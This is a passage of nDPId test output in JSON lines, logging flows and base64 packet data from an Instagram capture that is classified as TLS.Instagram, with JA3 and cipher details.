+00460{"flow_id":33,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":759,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":816389,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"xGGLNYKpxiwDYGpkCABFAABLcqYAAFQGvAwfDVY0wKgCEQG7wMv1rxoAmYoJtIAQAHUO4AAAAQEICjouDtMNcHLCFwMDABJFi3rAA3KN3VF2IRE99YhtID8="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2070,"source":"instagram.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1568796254514,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49357,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2070,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":514906,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGAr7AqAIRHw1WNMDNAbsBxqpOAAAAALAC\/\/8NqAAAAgQFtAEDAwYBAQgKDXB1TAAAAAAEAgAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2071,"source":"instagram.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1568796254515,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49358,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2071,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":515573,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGAr7AqAIRHw1WNMDOAbvBtYQbAAAAALAC\/\/9z6gAAAgQFtAEDAwYBAQgKDXB1TAAAAAAEAgAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2073,"source":"instagram.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1568796254524,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49359,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2073,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":524506,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGAr7AqAIRHw1WNMDPAbv9TOkSAAAAALAC\/\/\/TUgAAAgQFtAEDAwYBAQgKDXB1VAAAAAAEAgAA"} +00440{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2074,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":526002,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAFQGLsIfDVY0wKgCEQG7wM2mvmccAcaqT6ASbHDxzgAAAgQFeAQCCAoU9Z3GDXB1TAEDAwg="} +00440{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2075,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":526651,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAFQGLsIfDVY0wKgCEQG7wM6bGFkcwbWEHKASbHAfPgAAAgQFeAQCCArYQyzxDXB1TAEDAwg="} +00428{"flow_id":34,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2076,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":527339,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAsrAqAIRHw1WNMDNAbsBxqpPpr5nHYAQCAyEugAAAQEICg1wdVYU9Z3G"} +00428{"flow_id":35,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2077,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":527802,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAsrAqAIRHw1WNMDOAbvBtYQcmxhZHYAQCAyyKQAAAQEICg1wdVbYQyzx"} +00993{"flow_id":34,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2078,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":528580,"pkt_caplen":485,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":485,"pkt_l4_len":451,"pkt":"xiwDYGpkxGGLNYKpCABFAAHXAABAAEAGASfAqAIRHw1WNMDNAbsBxqpPpr5nHYAYCAy4mgAAAQEICg1wdVcU9Z3GFgMBAZ4BAAGaAwNVNSF4TcFES2A3bmDoQzoKoPRK88lF8GU0rvqEfWOJnSDMB3SW0+oLedhnRZBEjRhfhuHo9hBvfR7yTL5mOscQSAAGEwETAhMDAQABSwArAAUEAwT7GgAKAAYABAAdABcAMwAmACQAHQAg7SCrt+XZhOafPhg5Ng9ZqV0HRY1FsJgqY47HJ+ANL2gADQAGAAQEAwgEAAAAJQAjAAAgc2NvbnRlbnQtbXhwMS0xLmNkbmluc3RhZ3JhbS5jb20AEAALAAkIaHR0cC8xLjEALQADAgEAACoAAAApAL0AmACSWIXdmmwR1laYI9MTX9Ylv6k3elrG822PBXIhOrmLQkwAAAAAnwMCQs2b3VbV6udwJ8GZokFPTbUvCekbgT+BE2sGbBQUFuwMj\/BU7jg475T8N6D\/+oAuA0+LsqVikNMpi1cAr7ywQ08ClMJVucSZVkvAlpilkoy0GQXRkFz5t6c1Jfa9Pt8cBpvXHFxdvY3OoCRzMPoyACEgfw4JqUsziZWqGwVKYBDzRhcnnFsa29JbVyz1lE1jNn8="} +00799{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2078,"source":"instagram.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":4,"flow_first_seen":1568796254514,"flow_last_seen":1568796254528,"flow_tot_l4_data_len":567,"flow_min_l4_data_len":32,"flow_max_l4_data_len":451,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49357,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"scontent-mxp1-1.cdninstagram.com","ja3":"44dab16d680ef93487bc16ad23b3ffb1","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.3 (Fizz)"}} +01235{"flow_id":34,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2079,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":529128,"pkt_caplen":663,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":663,"pkt_l4_len":629,"pkt":"xiwDYGpkxGGLNYKpCABFAAKJAABAAEAGAHXAqAIRHw1WNMDNAbsBxqvypr5nHYAYCAwVNAAAAQEICg1wdVcU9Z3GFAMDAAEBFwMDAkrDUEGtzNssmdqTSNjThUpw9Gls3D5hJUvevqfxbpL2EvuYq\/xiBCWVUG44FmqupL3\/bCDe+Rj9sMP0S4s+LQPzEW6A5hhKzX6qMaE2oA2a+cyuw1W+Bw159hfwEaT5JaJhskpw2sZqBuPMouecOua99GDqlpE1OnBarxBfCM0SomVAI6hLrbybrwRUe8xCwbFhC+gcJ9vGsoZCalYYSFG6x1EiFpdz3sP6rMiC\/odi\/\/toF9HGlivcgXFqyi+wt2xIFAo5w2BagrM7YYesUZ6DvhPqN64yKJw+1G\/a05UNE3LulZdscm8atA3bJBUkFQj5GT8SSi8DgkMU5oYwLeQcI+OKsHc8qhpAqeo8BlHo1JdH47AP9VANK+8a8dWoErgKuHfO6nhlve4GhvIQI0dtginqfSN++9g3Ad0oGTbj9rYAYBLYkcJj59HZKjUqWV8P+m6JefwYjP6BGSX5oM5eL4j2YuJTWPJuV9FVHqGKKMjbjgccdOs2nLQR+l+aXFE8SknMyuv1kPi\/ZU1dwbtkc1X4HmfXuoqlylB6wbqd+cRm7M64sTJQ4B2GaVteHHowcVsvnV18Ip7NEoxP4opr3Mj1WOujvLVXplduA1wSVVP+x5aKMrisvqqIPAGFPnxwuL1j43Unto5sm1jK9xZqfUtFET8ygvgIbl2oMszNX3zDR1OF4w7m11oqSdPiwe4BQHPLVrXKxZMgD9\/U2HUIndKFenxAfYIHejPKA6kDWmb2WHrTQqnQLqEdZDORV+V6Su21qULR5TO7"} +00994{"flow_id":35,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2080,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":531233,"pkt_caplen":485,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":485,"pkt_l4_len":451,"pkt":"xiwDYGpkxGGLNYKpCABFAAHXAABAAEAGASfAqAIRHw1WNMDOAbvBtYQcmxhZHYAYCAzKGQAAAQEICg1wdVjYQyzxFgMBAZ4BAAGaAwOyMt4E+HaZDiJZVBg5k8\/oA3Xa304Knp2ME68TY60GtiA+ZFjEC79ZWsyfIhM6TAFNirQ6Wfjdb2VnPIAynKQowgAGEwETAhMDAQABSwArAAUEAwT7GgAKAAYABAAdABcAMwAmACQAHQAgfb7BCArOXiMwbKgWAHmAk0wvUIjhAM0LzhIthYUKAh0ADQAGAAQEAwgEAAAAJQAjAAAgc2NvbnRlbnQtbXhwMS0xLmNkbmluc3RhZ3JhbS5jb20AEAALAAkIaHR0cC8xLjEALQADAgEAACoAAAApAL0AmACSWIXdmmwR1laYI9MTX9Ylv6k3elrG822PBXIhOrmLQkwAAAAAnwMCQs2b3VbV6udwJ8GZokFPTbUvCekbgT+BE2sGbBQUFuwMj\/BU7jg475T8N6D\/+oAuA0+LsqVikNMpi1cAr7ywQ08ClMJVucSZVkvAlpilkoy0GQXRkFz5t6c1Jfa9Pt8cBpvXHFxdvY3OoCRzMPozACEgiwZ0SDMJf0KnFfH6w3CAZJjEaXEjNKUfikqv6iXoWvE="} +00799{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2080,"source":"instagram.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":4,"flow_first_seen":1568796254515,"flow_last_seen":1568796254531,"flow_tot_l4_data_len":567,"flow_min_l4_data_len":32,"flow_max_l4_data_len":451,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49358,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"scontent-mxp1-1.cdninstagram.com","ja3":"44dab16d680ef93487bc16ad23b3ffb1","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.3 (Fizz)"}} +01154{"flow_id":35,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2081,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":531371,"pkt_caplen":595,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":595,"pkt_l4_len":561,"pkt":"xiwDYGpkxGGLNYKpCABFAAJFAABAAEAGALnAqAIRHw1WNMDOAbvBtYW\/mxhZHYAYCAw5RgAAAQEICg1wdVjYQyzxFAMDAAEBFwMDAgY9IGVXL7OvWyqJahOvSUCJY8iw4p2I6w\/z9tqJYZ1qXlO8Ua4m0cjVttEEGsPKDnBhRcK\/RalKos02Wn2xrlKYE1kVBerOO6e+pJef251bfBnfTJT1bwC8WKoRJl7kN7nDOtO7so2rzZ\/bcKL0FJXKHriy1XEt\/vnjXVDsu9L9Uc8+ow25VVkb3mBz4yMPtWqKPBiy4xHCI8x0nRp54gC\/14QlNex1yYUz1AivdOTQ8FLkFhLArjpkuy3iyUrKOU6rsMaYWY8A2EmiwZFKe6t1eXUVkBPUTdQ2XLkLKdofF8Efyh7fEeBDGNQ5DUTMUaTcgsYWE9zLKbE8VQKPwSDlp33V8ATrg3wWNvkiXPZCNhc8GC1PSzSINWsFe4Wd0O\/CnGWAdPvCFeMoT9TG\/SG7CyMo\/elguQVkUCtPd58eq0YOTFDEUGlB3mM1aLgfDKP5+kB38uFg7l5jHqSl8qk53E+dY5RysX98A33pPQW+0EzBPkYDrRP\/sxH\/bb\/09vW+LT5D6G7AYAYP8HHiyRmNSUQH+L+jCK4DB9tGXgtn9iaLUMeXUqeq1pvGySfdp\/g1nvnZCTarJPrr\/4uJCyFWnvLYDEoQAZevWP7d9Y0+ARPa7a9d70xkRUctmvrerk5KnemtryInvBJDk8i3u1GPLfDJw\/XSMPhk4o0RKeBLn1JNL2qVHQ=="} +00442{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2082,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":536521,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAFQGLsIfDVY0wKgCEQG7wM\/pQUID\/UzpE6ASbHCRrQAAAgQFeAQCCAoUEKcNDXB1VAEDAwg="} +00428{"flow_id":36,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2083,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":538625,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAsrAqAIRHw1WNMDPAbv9TOkT6UFCBIAQCAwkmAAAAQEICg1wdV8UEKcN"} +00994{"flow_id":36,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2084,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":539181,"pkt_caplen":485,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":485,"pkt_l4_len":451,"pkt":"xiwDYGpkxGGLNYKpCABFAAHXAABAAEAGASfAqAIRHw1WNMDPAbv9TOkT6UFCBIAYCAzILQAAAQEICg1wdWAUEKcNFgMBAZ4BAAGaAwNlUhwheJ1rDpnKdGJYXxWfmrHMAvJ7gaS6dCikYDaQniBlqQjva1tIZWpLGugxipAgopwgiPn9JIzY3sS4pJS4iwAGEwETAhMDAQABSwArAAUEAwT7GgAKAAYABAAdABcAMwAmACQAHQAgTGMSfgTb9pv4uxSFqccgvnRx7yS7zib2zW+R1uGk7QkADQAGAAQEAwgEAAAAJQAjAAAgc2NvbnRlbnQtbXhwMS0xLmNkbmluc3RhZ3JhbS5jb20AEAALAAkIaHR0cC8xLjEALQADAgEAACoAAAApAL0AmACSWIXdmmwR1laYI9MTX9Ylv6k3elrG822PBXIhOrmLQkwAAAAAnwMCQs2b3VbV6udwJ8GZokFPTbUvCekbgT+BE2sGbBQUFuwMj\/BU7jg475T8N6D\/+oAuA0+LsqVikNMpi1cAr7ywQ08ClMJVucSZVkvAlpilkoy0GQXRkFz5t6c1Jfa9Pt8cBpvXHFxdvY3OoCRzMPo8ACEgiSy9JdX7OlfqJ\/YCqY0dSnI3XG0iGbXAIYi1fb3W7sU="} +00799{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2084,"source":"instagram.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":4,"flow_first_seen":1568796254524,"flow_last_seen":1568796254539,"flow_tot_l4_data_len":567,"flow_min_l4_data_len":32,"flow_max_l4_data_len":451,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49359,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"scontent-mxp1-1.cdninstagram.com","ja3":"44dab16d680ef93487bc16ad23b3ffb1","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.3 (Fizz)"}} +00428{"flow_id":34,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2085,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":539254,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0R3EAAFQG51gfDVY0wKgCEQG7wM2mvmcdAcar8oAQAHGKpAAAAQEIChT1ndMNcHVX"} +01125{"flow_id":36,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2086,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":539348,"pkt_caplen":579,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":579,"pkt_l4_len":545,"pkt":"xiwDYGpkxGGLNYKpCABFAAI1AABAAEAGAMnAqAIRHw1WNMDPAbv9TOq26UFCBIAYCAw8GQAAAQEICg1wdWAUEKcNFAMDAAEBFwMDAfYvjhL\/+unS7fozXeu+ozxeGqpWneH0HAeI4D12qSAbXRvGRbvMhlA3iIqYmg5W04CTNdoRnvHAcH9UKBkK8nk0eqw6Lhz8z+Z2pVE8YWmDMIUMAV4rml4gpqR5NE9shLAYrDcYLpTh6j8xdJfxBdlwXwAWk210uYkgtuVuGuAnA4rnADq87jctIM9LiVkznCL2RzAY+gpboIwcuxgqu+EVizFiw2WR4uBEpKJKcbtNp0NoyX54JW\/gnMLjBN\/87vIPBv5dTm6TKLVlDp9lxyBnYixGQBNuoVLbmHnwC0aYofRUdyRh+c\/w6AoWx5rLfmHeffFzQrKGxK7sz9aAVpyhUAnh3zhBdKDggPO+6tm7CAajdCATmaQIgAvUVGoK7Uk+mfymr1oiVyk7Evq9zGae3DMM1fE+dXeV3Ab8UTZXFvYsP99GZeLIQ0WY2fjuNegANWdHgNpN0dOaBxX28gM88hX8yr3skN4tehJ6Vqt6SsMgduyRNxC3C8rxm3T5VUSfbxMEX0mW\/PQOOxd3ffNrCbzUUyPABQkACGAJqcVFv\/4jI6ozCl+4+nJN\/lKDnInz6a14ysMia7tXB3moLgsg4RF\/ZiOq9QOivt427n9iwBq6ZFBHPx\/TukI96jX8DH\/wJq1xVlsZxtNA62zSqWFqQlJ2mEEZ"} +00428{"flow_id":34,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2087,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":539868,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0R3IAAFQG51cfDVY0wKgCEQG7wM2mvmcdAcauR4AQAHaISQAAAQEIChT1ndQNcHVX"} +00729{"flow_id":34,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2088,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":539971,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"xGGLNYKpxiwDYGpkCABFAAESR3MAAFQG5ngfDVY0wKgCEQG7wM2mvmcdAcauR4AYAHZjaQAAAQEIChT1ndQNcHVXFgMDAIACAAB8AwPejtbOe4Xg37m4DEvyRkVHFpUNhDGioQLDvBo7fpFtYiDMB3SW0+oLedhnRZBEjRhfhuHo9hBvfR7yTL5mOscQSBMBAAA0ACsAAvsaADMAJAAdACAax976UPmtFl4wDpxDTbBXGbWiduxcdYVeiCoejIhZNQApAAIAABQDAwABARcDAwBONglC3txN22OwlPsEr2kst\/0Chovc6Gy19uO185T8x3+Gy84kfHCbt5Cie4q\/diy0JFpWHozCzEGmMZtUBmW+kKZQr7W5BXY5ABCLm45g"} +00846{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2088,"source":"instagram.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":8,"flow_first_seen":1568796254514,"flow_last_seen":1568796254539,"flow_tot_l4_data_len":1514,"flow_min_l4_data_len":32,"flow_max_l4_data_len":629,"flow_avg_l4_data_len":189,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49357,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.3 (Fizz)","client_requested_server_name":"scontent-mxp1-1.cdninstagram.com","ja3":"44dab16d680ef93487bc16ad23b3ffb1","ja3s":"fcb2d4d0991292272fcb1e464eedfd43","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.3 (Fizz)"}} +00428{"flow_id":35,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2089,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":542641,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0W4AAAFQG00kfDVY0wKgCEQG7wM6bGFkdwbWFv4AQAHG4DwAAAQEICthDLQENcHVY"} +00428{"flow_id":35,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2090,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":542860,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0W4EAAFQG00gfDVY0wKgCEQG7wM6bGFkdwbWH0IAQAHW1+QAAAQEICthDLQINcHVY"} +00429{"flow_id":34,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2091,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":543332,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAsrAqAIRHw1WNMDNAbsBxq5Hpr5n+4AQCAh\/zAAAAQEICg1wdWQU9Z3U"} +00729{"flow_id":35,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2092,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":543357,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"xGGLNYKpxiwDYGpkCABFAAESW4IAAFQG0mkfDVY0wKgCEQG7wM6bGFkdwbWH0IAYAHXP2wAAAQEICthDLQINcHVYFgMDAIACAAB8AwPu7mBOWB+dnzBdodsS\/Qd+mYtLLRJT5CMSYlusvWSqLiA+ZFjEC79ZWsyfIhM6TAFNirQ6Wfjdb2VnPIAynKQowhMBAAA0ACsAAvsaADMAJAAdACAvYV4Cx6ZdIDrw66Si03cK41S2S7y+u2EABlPhdPKSdQApAAIAABQDAwABARcDAwBOUOITJU0EYegn9mmGP+z5WYZY+THVVKk+i9uTdm+ECosqQHQpwVkAA+WdotzC\/c+SDw4CgZKR159NiBmarLoGBwqgLSUsDnq1WneFTQKg"} +00846{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2092,"source":"instagram.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":8,"flow_first_seen":1568796254515,"flow_last_seen":1568796254543,"flow_tot_l4_data_len":1446,"flow_min_l4_data_len":32,"flow_max_l4_data_len":561,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49358,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.3 (Fizz)","client_requested_server_name":"scontent-mxp1-1.cdninstagram.com","ja3":"44dab16d680ef93487bc16ad23b3ffb1","ja3s":"fcb2d4d0991292272fcb1e464eedfd43","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.3 (Fizz)"}} +00545{"flow_id":34,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2093,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":543900,"pkt_caplen":150,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":150,"pkt_l4_len":116,"pkt":"xiwDYGpkxGGLNYKpCABFAACIAABAAEAGAnbAqAIRHw1WNMDNAbsBxq5Hpr5n+4AYCAhkuQAAAQEICg1wdWQU9Z3UFwMDABWoiQF8I3o1t\/hLBtah995KxIPPSW8XAwMANeuF28j7LdRw5BV4DA76aot4lozY1UywTGQ+4KQzeGO3wqBzuCdShfarJjBQO24JPOepiRTj"} +00428{"flow_id":35,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2094,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796254,"pkt_ts_usec":544328,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAsrAqAIRHw1WNMDOAbvBtYfQmxhZ+4AQCAitewAAAQEICg1wdWXYQy0C"} 